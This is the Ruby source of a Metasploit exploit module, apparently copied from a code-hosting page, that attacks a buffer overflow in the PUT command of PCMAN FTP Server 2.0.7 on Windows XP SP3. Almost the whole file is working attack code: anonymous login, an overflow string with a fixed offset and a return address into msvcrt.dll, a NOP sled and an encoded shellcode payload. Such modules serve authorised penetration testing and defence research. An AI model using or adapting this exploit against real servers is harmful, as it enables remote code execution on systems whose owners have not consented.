1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command', 'Description'=> %q{ This module exploits a buffer overflow vulnerability found in the PUT command of the PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous credientials are enabled. }, 'Author' => [ 'Jay Turla',# Initial Discovery -- @shipcod3 'Chris Higgins' # msf Module -- @ch1gg1ns ], 'License'=> MSF_LICENSE, 'References' => [ [ 'EDB', '37731'], [ 'OSVDB', '94624'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload'=> { 'Space' => 1000, 'BadChars'=> "\x00\x0A\x0D", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3 English', { 'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll 'Offset' => 2007 } ], ], 'DisclosureDate' => 'Aug 07 2015', 'DefaultTarget'=> 0)) end def check connect_login disconnect if /220 PCMan's FTP Server 2\.0/ === banner Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit connect_login print_status('Generating payload...') sploit = rand_text_alpha(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(16) sploit << payload.encoded send_cmd( ["PUT", sploit], false ) disconnect end end |